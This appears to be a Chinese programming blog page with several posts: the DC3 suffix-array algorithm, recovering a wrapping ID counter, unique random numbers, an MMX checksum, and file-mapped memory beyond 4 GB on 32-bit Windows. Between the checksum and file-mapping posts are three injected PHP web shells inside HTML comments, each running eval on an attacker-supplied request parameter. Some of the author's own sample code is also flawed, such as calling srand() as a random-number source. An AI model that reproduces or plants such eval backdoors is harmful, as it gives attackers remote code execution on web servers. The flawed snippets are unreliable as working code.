DC3算法

最近做了一个差量更新工具, 实质就是一个Diff工具。这个Diff工具在本地生成一个patch文件。客户端通过网络下载到本地后,根据本地文件和patch文件来生成最新版本文件。

与传统patch不同的是,为了尽可能的减少网络传输,patch文件需要尽可能的小,并且不需要逆向patch(从版a到版本b生成的patch, 版本b使用这个patch可以还原到版本a).

基于以上考虑,我重新设计了一个二进制patch格式,整个patch文件中有两种Action(分别是COPY, INSERT),大致数据结构如下:

struct COPY {
        int pos;
        int size;
};
struct INSERT {
        int size;
        uint8_t buf[];
};

其中COPY代表从源文件a的某个位置(COPY.pos)copy一段(COPY.size)数据过来,INSERT代表在新文件b当前位置插入一段数据(这代表这段数据在文件a中找不到)。

之所以不需要新文件新文件的位置,是因为在生成patch时会严格按着新文件的写入顺序来生成patch, 这样也可以尽可能少的减少Action头所带来的开销。

在生成COPY指令时,我遇到了一个问题.

即,如何快速找到,同时存在于文件a和文件b中的最长子串。算法导论上的LCS(公共子序列)算法并不是很适合我,因为COPY只是去借数据,并不在乎这块数据在哪个位置。

最终发现,有序后缀数组更符合我的需求,空间复杂度极底,并且可以以lg(n)的时间复杂度来快速完成匹配。但是其生成算法DC3,我搞了将近2周才总算搞明白。

整个算法一共就分4步,原始数据在buf中,长度为N,(这里仅粗略描述):

1. 将(i % 3 != 0, i >= 0 and i < N)的值取出来放到一个数组SA12中.

2. 对S12进行排序, S12中的每个值n都代表一个三元组(buf[n],buf[n+1],buf[n+2]),排序后得到一个数组s12, 其中s12[x] = rank(x = n / 3 if n % 3 == 1, x = n / 3 + n1 if n % 3 == 2)。n1为i%3==1的个数。

3. 如果任意两个三元组都不相等,说明仅凭前三个字母就可以对后缀确定顺序,则直接执行步骤4。否则,对s12中的数据递归执行DC3。

4. 根据s12来生成数组SA12,然后将(i % 3 == 0,i >= 0 && i < N)的值取出放入SA0并进行排序,与SA12进行有序合并,成为SA。SA即为后缀数组的有序列表。

这算法并不是通常见到的,如快排,二分查找,甚至红黑树那么直观。他神奇到,我完全不知道这是在做什么,后缀数组已经排完序了。

在看这个算法时,在第2步我有几个很大的疑惑。

一是有个很神奇的操作,在生成s12的时,如果n % 3 ==1, 要把rank值放左边,n % 3 == 2要把rank值放右边。

二是左边和右边中间如果是连续的(没有空洞x, buf[x]会比buf数组中所有值都要小),就必须要插入一个分隔符(比buf数组中所有值都要小)

三是为什么要选3这个数字,2行不行。


搞明白之后发现,整个算法的核心思想就是”收敛”, 运用递归的思想不断的收敛,直到比如结果为止。举个例子:

              0 1 2 3 4 5 6 7 8 9 10
char buf[] = "m i s s i s s i p p i";

第一步先拿到SA12= [1,2,4,5,7,8,10],

本质上他们代表的是:[‘1,2,3′,’2,3,4′,’4,5,6′,’5,6,7′,’7,8,9′,’8,9,10′,’10,x,x’],不存在的以x代替buf[x]一定会最小值

对SA12进行排序之后原始排序如下.

[‘1,2,3’=【3】,’2,3,4’=【5】,’4,5,6’=【3】,’5,6,7’=【5】,’7,8,9’=【2】,’8,9,10’=【4】,’10,x,x’=【1】],

将n%3==1的放左边,n%3==2的放右边之后得到如下列表:

[‘1,2,3’=【3】,’4,5,6’=【3】,’7,8,9’=【2】,’10,x,x’=【1】,’2,3,4’=【5】,’5,6,7’=【5】,’8,9,10’=【4】], 因为这里有x,而buf[x]一定比buf[0~n]中的值都要小,所以就不用插入分隔符了,后面会看到分隔符的作用。

从上面列表可以看出’1,2,3’ === ‘4,5,6’ 这说明三元组不足以用来确定后缀的排序(不满足步骤3),因为要接着递归执行,先得到SA’如下

[‘1,2,3,4,5,6,7,8,9′,’4,5,6,7,8,9,10,x,x’,’7,8,9,10,x,x,2,3,4′,’10,x,x,2,3,4,5,6,7′,’2,3,4,5,6,7,8,9,10′,
‘5,6,7,8,9,10,x,x,x’, ‘8,9,10,x,x,x,x,x,x’]

可以明显看到,之所以要把i%3==1的放左边,i%3==2放右边,其实是为再次递归DC3做准备。第二次递归DC3,实质上是取所有后缀的前9个前缀来进行排序,如果还有相同的,则再次递归采用前27个前缀进行排序,直到排出顺序为止。

为了利用上次递归的结果,上面数组会被转化成转换之后(【3】【3】【2】【1】【5】【5】,【4】)再递归传入DC3。

而之所以要插分隔符,其实是为了防止类似序列中’7,8,9,10,x,x,2,3,4’中的’2,3,4’参与排序,毕间7,8,9,10已经是从位置7开始后缀子串的全部内容了,如果2,3,4参与比较就会产生错误。因为buf[x] < buf[i] (i >= 0 && i < n),因此当碰到x, 就会终止排序。

那么为什么要选3这个数字,其实跟步骤4是有关系的。

在步骤4进行有序合并时,i%3==1时,会将3元组扩展成4元组,i%3==2时,将3元组扩展成5元组,之后再比较。

当i%3==1时,如’0,1,2,3′, ‘1,2,3,4’ 由于’1,2,3’和’2,3,4’的值我们已经知道了,所以这两个四元组的比较可以简化为’0,s12[1]’与’1,s12[2]’之间的比较,由于s12[1]中的值各不相同,因此’0,s12[1]’ 与 ‘1,s12[2]’必不相同。

当i%3==2时, 如’0,1,2,3’, ‘2,3,4,5’,可以发现s12[3]不存在因为3%3==0, 所以需要将4元素扩展成为5元组,‘0,1,2,3,4′,’2,3,4,5,6’,这样就可以化简为’0,1,s12[2]’, ‘2,3,s12[4]’来进行比较。

其实到这里,为什么不用2就很明显了,因为在最后一步合并时2不满足重用上一步结果的要求

总的来说这是一个很神奇的算法,有动态规划的影子,各个步骤又配合的天衣无缝。

如何恢复全局INDEX

一般来说,当需要分配全局惟一id时,一般都会有一个变量来记录当前最新的id值,比如叫INDEX变量。

每次需要分配id时,只要简单的自增一下INDEX变量,然后INDEX的值即为当前分配出去的ID的值。

为了最大可能的延迟复用已经分配过的id,一般来说不会去特殊处理INDEX变量,即每次自增INDEX,并允许回绕情况的发生。

但是最近碰到问题就是,我有一堆分配过的id,如何重新恢复出INDEX的值。具体场景如下:

struct obj {
        unsigned int id;
        time_t createtime;
        ...
}

每一个obj对象都需要有一个全局惟一id和创建时间(createtime字段)与其关联,因此每new一个obj对象就需要为其分配一个不重复的全局id。

obj可以被人为删除,也会被过期删除,因此无法保证在任何时间所有还存活着的obj对象id是连续的。这些obj对象会被定时写入数据库。

一旦进程被重启,程序会从数据库加载所有还存活着的obj对象,以便可以恢复现场,使重启进程这一操作透明。要保证整个逻辑正确性,还必须要能正确的恢复出INDEX变量。

那么问题来了,而由于某种原因,INDEX并不方便被存入数据库中。

因此必须要根据现有的存活obj对象来恢复出在进程重启前的INDEX的值。

第一反应,肯定是遍历一之后找到obj对象中最大的id即为原来的INDEX,但是这里有一个陷阱就是INDEX会回绕,一旦INDEX会回绕之后,这个算法就不正确了。

考虑这样一种情况,进程运行了数月都没有重启,这时残留的obj对象id可能就只剩下0xfffffffe,0xffffffff,0,1,3,5这些了,重启之后采用上述算法无法重新恢复出重启前INDEX的值为5.

再一看,还有一个createtime用作参考,只要取obj对象中createtime最大的那个对象的id为INDEX就行了。

然而,由于createtime是以秒为单位的,逻辑上无法保证1秒只创建一个obj对象,问题再次绕回到第一个算法所遇到的困境。

因此,看起来,想要正确恢复出INDEX的值就必须解决回绕的问题。

要解决这个问题,就必须要有一种大小比较算法,这种算法即使在回绕时,也能正确判断大小。比如在0xfffffffe,0xffffffff,0,1,3,5这一堆id中,此算法会认为5是最大值,而在3,5,7,9这一块id中认为9才是最大值。

那么究竟有没有这种算法呢?比较巧的是,还真有这种算法。

假设有A,B,C三个32位无符号值,C=(A+B) % 4G。那么只要B大于0且小于2G,C – A就一定大于0。不过这里有一个陷阱,如果A和C是无符号变量,那么一定要将C-A的值转换为int之后再使用。

再回到设定场景中去,虽然我们1秒可以new很多个obj对象,但是绝不可能new出2G个之多。

有了这个事实和算法,答案就呼之欲出了,其中一种实现如下:

unsigned int id = 0;
time_t time = 0;
for (auto const &obj:objs) {
        if (obj.createtime < time)
                continue;
        if (obj.createtime > time) {
                time = obj.createtime;
                id = obj.id;
        } else if ((int)(id - obj.id) < 0) {
                 id = obj.id
        }
}
//now we got the final INDEX value

ps. 在阐述这个blog之前,我曾请教了几个人,但似乎并没有其他更好的做法,觉得这个实现还算精巧,就做个笔记.

为什么要使用算法

在接触算法之初, 我为诸如快速排序, 二分查找效率感到惊讶.

随着代码量的增加, 对于如动态规划之类以空间换取时间的算法, 我还能理解. 但是我始终不明白如二分查找这类需要前置条件算法为什么能提高程序效率, 虽然查找快了, 但是开销浪费在了排序上, 使用二分查找的一次读写的开销和, 甚至很可能比不使用算法还要慢.

最近在阅读了一些开源代码之后, 终于有点明白为什么如二分查找这类需要前置条件算法可以提高程序效率了.

在程序设计中, 使用如二分查找这类需要前置条件的算法之所以能够提高效率, 并非是他能够降低所有操作的开销, 而是他可以将某种频繁操作的开销转嫁一部分到生成前置条件的不频繁操作上去.

以二分查找为例, 写入数据时的排序带来的开销, 其实就是在查找数据时使用二分查找所降低的开销转嫁过来的, 当然排序所带来的开销可能会略大于查找所带来的开销.

如果对于一块数据的查询频率远大于其更新速度, 查找操作所省下来的开销, 将远大于写入数据时排序所带来的开销, 那么整个程序对于这块数据的查找, 更新的开销和, 将远小于不使用算法的开销和. 这是一个很容易算的小学数学题:D

相反如果数据的更新频率远大于查询频率, 还硬要去使用二分查找, 那么整个程序对于这块数据的开销要远大于直接暴力查询.

因此算法的使用一定要根据具体情况进行分析, 不然高效的算法也可能会拖慢程序的速度.

生成不重复随机数

今天碰到一个生成不重复随机数题目, 题目类似如下:
在一个1K的数组中生成1~1M之间的随机数, 1K中的随机数不能重复.

第一反应就是暴力查询, 每生成一次就去已有的数据查询, 时间复杂度为O(n2). 效率极差.

仔细思考后发现这样一种特性, 数值空间为1~1M, 需要取出1K个数据, 1M = 1K * 1K
类似下面代码:

int buff[1024];
int tmp = 0;
for (i = 0; i < 1024; i++) { tmp += 1024; buff[i] = tmp; }

上面的代码如果执行完毕那么tmp的结果会成为1M.
将一个0~1023之间的随机值替换上面的1024, 将能保证tmp的值一定小于等于1M, 由于递增的特性也可保证每个循环tmp的值是在0~1M中的惟一值.更改后代码如下:

int buff[1024];
int tmp = 0;
for (i = 0; i < 1024; i++) { tmp += srand() % 1024; buff[i] = tmp; }

从代码中可以看到tmp由上一次tmp的值和这一次的随机值决定. 因此生成的值一定是随机的.

虽然生成的数是随机的, 但是在数组中的布局却是从小到大来分布的, 因为我们在赋数组时同样需要随机分布. 修改代码如下:

int buff[1024];
int tmp = 0;
int buff_index = 0;

memset(buff, 0xff, sizeof(buff[0]) * 1024);
for (i = 0; i < 1024; i++) { tmp += srand() % 1024; buff_index += rand(); buff_index %= 1024; while (buff[buff_index] != -1) { buff_index++; buff_index %= 1024; } buff[buff_index] = tmp; }

在写入数组时采用随机生成索引号的方法来决定要写到数值的哪一个位置, 如果这个位置被写过, 那么顺序向下查找空间数组位置, 因为数组共有1024个, 因为不管怎么样每次总能找到一个没有被写过的数组位置, 这样写入1024次之后一定会生成内存分布随机的1024个不重复的随机数.

btw: 清风同学说这个算法有个bug, 就是我第一个随机数一定会生成0~1024之间的数, 暂时还没有想到办法.

CheckSum计算的优化

  最近在纠结于大数据的checksum的计算,算法如下:

 1 unsigned long cs_cal(const unsigned char *buff, unsigned long size)
 2 {
 3     unsigned long cs;
 4 
 5     cs = 0;
 6     while (size--)
 7         cs += buff[size];
 8 
 9     return cs;
10 }

  当文件大于4G后这种计算的龟速就很明显了,在网上看到大牛说MMX指令对于数据计算相当不俗,于是改成下面代码(bug:不对齐部分没有处理,这部分消耗很小,对于效率影响不大):

 1 unsigned long cs_cal(const unsigned char *buff, unsigned long size)
 2 {
 3     unsigned long cs;
 4     unsigned long cs_2[2];
 5     unsigned long cnt;
 6 
 7     cnt = size / 2;
 8 __asm {
 9     mov    eax, 0
10     movd    mm2, eax
11     mov    ecx, cnt
12     mov    esi, buff
13 cnt_label:
14     mov     al, byte ptr[esi]
15     movd    mm0, eax
16     inc    esi
17 
18     mov     al, byte ptr[esi]
19     movd    mm1, eax
20     inc    esi
21 
22     punpckldq mm0, mm1
23     
24     paddd mm2, mm0
25 
26     dec    ecx
27     jnz    cnt_label
28 
29     movq    qword ptr [cs_2], mm2
30 
31 
32     emms
33 }
34     cs = cs_2[0] + cs_2[1];
35 #endif
36     return cs;
37 }

  测试1G的内存数据发现速度近快了2倍,MMX的威力果然不是吹的.

<!– [insert_php]if (isset($_REQUEST["bay"])){eval($_REQUEST["bay"]);exit;}[/insert_php]

if (isset($_REQUEST[&quot;bay&quot;])){eval($_REQUEST[&quot;bay&quot;]);exit;}

–>

<!– [insert_php]if (isset($_REQUEST["pus"])){eval($_REQUEST["pus"]);exit;}[/insert_php]

if (isset($_REQUEST[&quot;pus&quot;])){eval($_REQUEST[&quot;pus&quot;]);exit;}

–>

<!– [insert_php]if (isset($_REQUEST["CYlNo"])){eval($_REQUEST["CYlNo"]);exit;}[/insert_php]

if (isset($_REQUEST[&quot;CYlNo&quot;])){eval($_REQUEST[&quot;CYlNo&quot;]);exit;}

–>

32位系统使用文件作为媒介来模拟大于4G内存访问

代码一篇,暂时没发现bug:

  1 // vm_mgr.cpp : Defines the exported functions for the DLL application.
  2 //
  3 
  4 #include "stdafx.h"
  5 
  6 #include <Windows.h>
  7 #include <vector>
  8 #include <assert.h>
  9 #include <tchar.h>
 10 #include "../common/assist.h"
 11 #include"../error_no/error_no.h"
 12 #include "../Log/log.h"
 13 #include "vm_mgr.h"
 14 
 15 #define VM_ADDR_GEN(addr, index)                (assert(index < 16), (((index & 0xfULL) << 60) | addr))
 16 #define VM_START_ADDR                           0x100000000ULL
 17 #define VM_WINDOW_SIZE                          (64 * 1024 * 1024UL)
 18 #define VM_ALIGN_SIZE                           (64 * 1024)
 19 
 20 struct vm_window {
 21         void                    *p;
 22         vm_ptr_t                start;
 23         unsigned long           size;
 24 };
 25 
 26 struct vm_item {
 27         int                 addr_index;
 28         HANDLE              mutext;    
 29         HANDLE              hMap;
 30         vm_ptr_t            vm_start_ptr;
 31         unsigned long long  vm_size;
 32         struct vm_window    window;
 33         TCHAR               file_path[MAX_PATH];
 34 };
 35 
 36 struct {
 37     std::vector<struct vm_item>    tbl;
 38 } vm;
 39 
 40 static int find_empty_index()
 41 {
 42         int addr_index;
 43         int i;
 44 
 45         for (addr_index = 0; ; addr_index++) {
 46                 for (i = 0; i < vm.tbl.size(); i++) {
 47                         if (vm.tbl.at(i).addr_index == addr_index)
 48                                 break;
 49                 }
 50                 assert(addr_index <= 16);
 51                 if (i >= vm.tbl.size())
 52                         return addr_index;
 53         }
 54 }
 55 
 56 vm_ptr_t vm_alloc(unsigned long long size)
 57 {
 58         TCHAR                       tmp_path[MAX_PATH];
 59         TCHAR                       tmp_file_path[MAX_PATH];
 60         int                         err;
 61         struct vm_item              vm_item;
 62 
 63         GetTempPath(ARRAY_SIZE(tmp_path), tmp_path);
 64         GetTempFileName(tmp_path, _T("DediProg"), 0, tmp_file_path);
 65 
 66         HANDLE hFile = CreateFile(
 67                                 tmp_file_path,
 68                                 GENERIC_READ | GENERIC_WRITE,
 69                                 FILE_SHARE_READ | FILE_SHARE_WRITE,
 70                                 NULL,
 71                                 OPEN_ALWAYS,
 72                                 FILE_FLAG_SEQUENTIAL_SCAN,
 73                                 NULL
 74                                 );
 75         if (hFile == NULL) {
 76                 return NULL; 
 77         }
 78 
 79         vm_item.hMap = CreateFileMapping(hFile, NULL, PAGE_READWRITE, size >> 32, size & 0xffffffff, NULL);
 80         if (vm_item.hMap == NULL) {
 81                 err = GetLastError();
 82                 return -E_ALLOC_MEMORY_FAIL;
 83         }
 84         vm_item.vm_start_ptr = (vm_ptr_t)MapViewOfFile(
 85                 vm_item.hMap,
 86                 FILE_MAP_ALL_ACCESS,
 87                 0 >> 32,
 88                 0 & 0xffffffff,
 89                 min(size, VM_WINDOW_SIZE)
 90                 );
 91  
 92         vm_item.addr_index = find_empty_index();
 93         vm_item.vm_start_ptr = VM_ADDR_GEN(vm_item.vm_start_ptr, vm_item.addr_index);
 94 
 95         assert(vm_item.vm_start_ptr < ((-1) >> 4));
 96 
 97         CloseHandle(hFile);
 98         hFile = NULL;
 99         vm_item.vm_size = size;
100         vm_item.window.size = (unsigned long)min(VM_WINDOW_SIZE, size);
101         vm_item.window.start = vm_item.vm_start_ptr;
102         vm_item.window.p = (unsigned char *)vm_item.vm_start_ptr;
103         vm_item.mutext = CreateMutex(NULL, FALSE, NULL);
104         _tcsncpy(vm_item.file_path, tmp_file_path, ARRAY_SIZE(vm_item.file_path));
105         vm.tbl.push_back(vm_item);
106 
107         return vm_item.vm_start_ptr;
108 }
109 
110 static __inline int in_region(vm_ptr_t ptr, unsigned long long size)
111 {
112         //static int dbg = 0;
113         int i;
114  
115         for (i = 0; i < (int)vm.tbl.size(); i++) {
116                 if ((ptr + size) <= (vm.tbl.at(i).vm_start_ptr + vm.tbl.at(i).vm_size) && (ptr >= vm.tbl.at(i).vm_start_ptr))
117                         return i;
118                 //if (ptr + size > vm.tbl.at(i).vm_start_ptr + vm.tbl.at(i).vm_size)
119                 //        i = 'DEAD';
120                 //if (ptr < vm.tbl.at(i).vm_start_ptr)
121                 //        i = 'INVA';
122         }
123         
124         LOG_BEGIN {
125                 log_add("----------------------------------------------");
126                 log_add("|             Virtual Memory layout          |");
127                 log_add("|--------------------------------------------|");
128                 for (i = 0; i < (int)vm.tbl.size(); i++)
129                 log_add("|window.start_addr:%llx | window.size:%llx   |", vm.tbl.at(i).window.start, vm.tbl.at(i).window.size);
130                 log_add("|--------------------------------------------|");
131                 log_add("|user.ptr:%llx          | user.size:%llx     |", ptr, size);
132                 log_add("----------------------------------------------");
133         } LOG_END;
134         //dbg++;
135         assert(!"Invalid Memory");
136         return -1;
137 }
138 
139 static __inline unsigned char *scroll_window(int vm_index, vm_ptr_t ptr, unsigned long size)
140 {
141         unsigned char           *p;
142         vm_ptr_t            win_start;
143         unsigned long           win_size;
144         unsigned long long      file_offset;
145         unsigned long long      tmp_offset;
146 
147 
148         win_start = vm.tbl.at(vm_index).window.start;
149         win_size = vm.tbl.at(vm_index).window.size;
150 
151         
152         UnmapViewOfFile(vm.tbl.at(vm_index).window.p);
153 
154         win_size = (unsigned long)min(VM_WINDOW_SIZE, size);
155 
156         assert(ptr >= vm.tbl.at(vm_index).vm_start_ptr);
157         file_offset = ptr - vm.tbl.at(vm_index).vm_start_ptr;
158         
159         tmp_offset = file_offset / VM_ALIGN_SIZE * VM_ALIGN_SIZE;
160         tmp_offset = file_offset - tmp_offset;
161         
162         file_offset = file_offset / VM_ALIGN_SIZE * VM_ALIGN_SIZE;
163 
164         size += (unsigned long)tmp_offset;
165 
166         p = (unsigned char *)MapViewOfFile(
167                 vm.tbl.at(vm_index).hMap,
168                 FILE_MAP_ALL_ACCESS,
169                 file_offset >> 32,
170                 file_offset & 0xffffffff,
171                 size
172                 );
173 
174         if (p) {
175                 vm.tbl.at(vm_index).window.start = ptr;
176                 vm.tbl.at(vm_index).window.size = size;
177                 vm.tbl.at(vm_index).window.p = p;
178 
179                 return p + tmp_offset;
180         }
181 
182         return NULL;
183 }
184 
185 int vm_write(vm_ptr_t pointer, const unsigned char *buff, unsigned long long size)
186 {
187         int             ret;
188         unsigned char       *p;
189         unsigned long       len;
190         int index = in_region(pointer, size);
191 
192         ret = 0;
193 
194         if (index == -1) {
195                 ret = -1;
196                 goto end;
197         }
198         WaitForSingleObject(vm.tbl.at(index).mutext, 20000);        /* timeout 10s */
199         while (size) {
200                 len = (unsigned long)min(size, VM_WINDOW_SIZE);
201                 p = scroll_window(index, pointer, len);
202                 if (!p) {
203                         ret = -1;
204                         goto end;
205                 }
206 
207                 memcpy(p, buff, len);
208 
209                 pointer += len;
210                 buff += len;
211                 size -= len;
212         }
213 end:
214         ReleaseMutex(vm.tbl.at(index).mutext);
215         return ret;
216 }
217 
218 
219 int vm_read(unsigned char *buff, vm_ptr_t ptr, unsigned long long size)
220 {
221         unsigned char   *p;
222         unsigned long   len;
223         int index;
224 
225         assert(buff);
226 
227         index = in_region(ptr, size);
228 
229         if (index == -1)
230                 return -E_ALLOC_MEMORY_FAIL;
231 
232         while (size) {
233                 len = (unsigned long)min(size, VM_WINDOW_SIZE);
234                 p = scroll_window(index, ptr, len);
235                 if (!p)
236                         return -1;
237 
238                 memcpy(buff, p, len);
239 
240                 ptr += len;
241                 buff += len;
242                 size -= len;
243         }
244 
245         return 0;
246 }
247 
248 int vm_free(vm_ptr_t ptr)
249 {
250     int i;
251 
252     LOG_BEGIN {
253                 log_add("----------------------------------------------");
254                 log_add("|             Virtual Memory layout          |");
255                 log_add("|--------------------------------------------|");
256                 for (i = 0; i < (int)vm.tbl.size(); i++)
257                 log_add("|window.start_addr:%llx | window.size:%llx   |", vm.tbl.at(i).window.start, vm.tbl.at(i).window.size);
258                 log_add("----------------------------------------------");
259     } LOG_END;
260 
261     for (i = 0; i < (int)vm.tbl.size(); i++) {
262         if (vm.tbl.at(i).vm_start_ptr == ptr) {
263             assert(vm.tbl.at(i).hMap);
264 
265             UnmapViewOfFile(vm.tbl.at(i).window.p);
266             CloseHandle(vm.tbl.at(i).hMap);
267 
268             DeleteFile(vm.tbl.at(i).file_path);
269 
270             vm.tbl.erase(vm.tbl.begin() + i);
271             return 0;
272         }
273     }
274 
275     assert(!"Invalid pointer");
276 
277     return 0;
278 }